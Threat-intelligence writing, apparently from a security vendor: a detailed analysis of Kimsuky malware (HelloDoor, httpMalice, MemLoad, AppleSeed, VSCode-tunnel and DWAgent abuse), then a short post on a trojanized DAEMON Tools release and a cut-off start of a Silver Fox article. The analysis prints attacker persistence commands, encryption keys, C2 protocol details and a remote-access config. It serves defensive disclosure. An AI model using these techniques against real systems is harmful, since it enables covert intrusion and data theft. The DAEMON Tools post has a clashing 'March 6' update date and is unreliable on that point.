Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

  • Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
  • Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
  • The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
  • For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
  • For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
  • Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

Timeline of the AppleSeed and PebbleDash malware families

Timeline of the AppleSeed and PebbleDash malware families

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number Filename Filename (translated to English) Detection date MD5 Malware deployed
1 [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse August 28, 2025 995a0a49ae4b244928b3f67e2bfd7a6e HelloDoor
2 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse December 14, 2025 52f1ff082e981cbdfd1f045c6021c63f httpMalice
3 security_20260126.scr January 26, 2026 65fc9f06de5603e2c1af9b4f288bb22c Reger Dropper, MemLoad, httpTroy
4 노현정님.pdf.jse Ms. Noh Hyun-jung.pdf.jse January 28, 2026 8e15c4d4f71bdd9dbc48cd2cabc87806 AppleSeed chain
5 대국민서비스관리운영체계현장점검증적(초안).pif On-site Inspection Evidence for the Public Service Management System (Draft).pif February 5, 2026 8983ffa6da23e0b99ccc58c17b9788c7 Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command Description
“mcd” Set the current directory
“msleep” Sleep for the provided time
“install” Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command] Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

  • result send fail (grammatically incorrect text)
  • server request fail (grammatically incorrect text)
  • command execute failed (grammatically incorrect text)
  • decrytion failed (typos)
  • autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

  • (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
  • (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
  • (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
  • (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
  • (AppleSeed cluster) Use of the m= parameter in C2 communication.
  • (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status Description
0 Running under the SYSTEM account with an elevated token
1 Running under an elevated administrator account
2 Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

Windows commands used to gather system details

Windows commands used to gather system details

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value Description
1 Send the session identifier (parameter s) along with the current state (parameter a)
2 Request command
3 Send result after executing the command (parameter d)
8 Request directory to be archived and sent
9 Send the archived directory
10 Send a message like “.cmd” or “.tmp” (parameter d)
11 Send ping
12 Send the captured screenshot (parameter d)
13 Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

Structure of the ChaCha20-encrypted data blob

Structure of the ChaCha20-encrypted data blob

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value Description
0 httpMalice has been activated
1 httpMalice has been inactivated (upon command 9)
2 httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

C2 communication sequence of httpMalice

C2 communication sequence of httpMalice

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command Description
0 Do nothing
1 Execute the command with EUC-KR encoding
2 Download and extract the file to the infected device
3 Upload a directory to the C2 server after it has been archived
5 Get the current directory
6 Set the current directory
7 Execute the command without setting a EUC-KR character set
8 Remove its persistence traces and exit the process
9 Hibernate
10 Execute the command using the provided session ID
12 Capture the screen
13 Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

  1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
  2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
  3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
  4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
  5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number Installer type VSCode version Download source
1 Written in JScript VSCode CLI 1.106.3 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2 Written in Go VSCode CLI 1.106.2 hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

  1. Executes code.exe tunnel.
  2. Searches for the “Microsoft Account” string in the stdout.
  3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
  4. Searches for the “use code” string in the stdout.
  5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
  6. Searches for the “What would you like to call this machine?” string in the stdout.
  7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
  8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
  9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

  • c:\programdata\dwagent\native\dwagsvc.exe installService
  • c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Supply chain attack via DAEMON Tools | Kaspersky official blog

5 May 2026 at 14:09

Our experts have discovered a large-scale supply chain attack via DAEMON Tools – software for emulating optical drives. The attackers managed to inject malicious code into the software installers, and all trojanized executable files are signed with a valid digital signature of AVB Disc Soft – the developer of DAEMON Tools. The malicious version of the program has been circulating since April 8, 2026. At the time of writing, the attack is still ongoing. Researchers at Kaspersky believe this is a targeted attack.

What are the risks of installing the malicious version of DAEMON Tools?

After the Trojanized software is installed on the victim’s computer, a malicious file is launched every time the system starts up – sending a request to a command-and-control server. In response, the server may send a command to download and execute additional malicious payloads.

First, the attackers deploy an information gatherer that collects the MAC address, hostname, DNS domain name, lists of running processes and installed software, and language settings. The malware then sends this information to the command-and-control server.

In some cases, in response to the collected information, the command server sends a minimalistic backdoor to the victim’s machine. It’s capable of downloading additional malicious payloads, executing shell commands, and running shellcode modules in memory.

The backdoor can be used to deploy a more sophisticated implant dubbed as QUIC RAT. It supports multiple communication protocols with the command-and-control server, and is capable of injecting malicious payloads into the notepad.exe and conhost.exe processes.

More detailed technical information, along with indicators of compromise, can be found in the experts’ article on the Securelist blog.

Who’s being targeted?

Since early April, several thousand attempts to install additional malicious payloads via infected DAEMON Tools software have been detected. Most of the infected devices belonged to home users, but approximately 10% of installation attempts were detected on systems running in organizations. Geographically, the victims were spread across around a hundred different countries and territories. Most victims were located in Russia, Brazil, Turkey, Spain, Germany, France, Italy, and China.

Most often, the attack was limited to installing an information collector. The backdoor infected only a dozen machines in government, scientific, and manufacturing organizations, as well as in retail businesses in Russia, Belarus, and Thailand.

What exactly was infected

The malicious code was detected in DAEMON Tools versions ranging from 12.5.0.2421 to 12.5.0.2434. The attackers compromised the files DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe, which are installed in the main DAEMON Tools directory.

Updated on March 6: Following disclosure, the vendor acknowledged the issue and published a new version of the software to address it. The updated DAEMON Tools version 12.6.0.2445 no longer shows the malicious behavior described in this article.

How to stay safe?

If DAEMON Tools software is used on your computer (or elsewhere in your organization), our experts recommend thoroughly checking the computers on which it is installed for any unusual activity starting from April 8.

In addition, we recommend using reliable security solutions on all home and corporate computers used to access the internet. Our solutions successfully protect users from all malware used in the supply chain attack via DAEMON Tools.

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

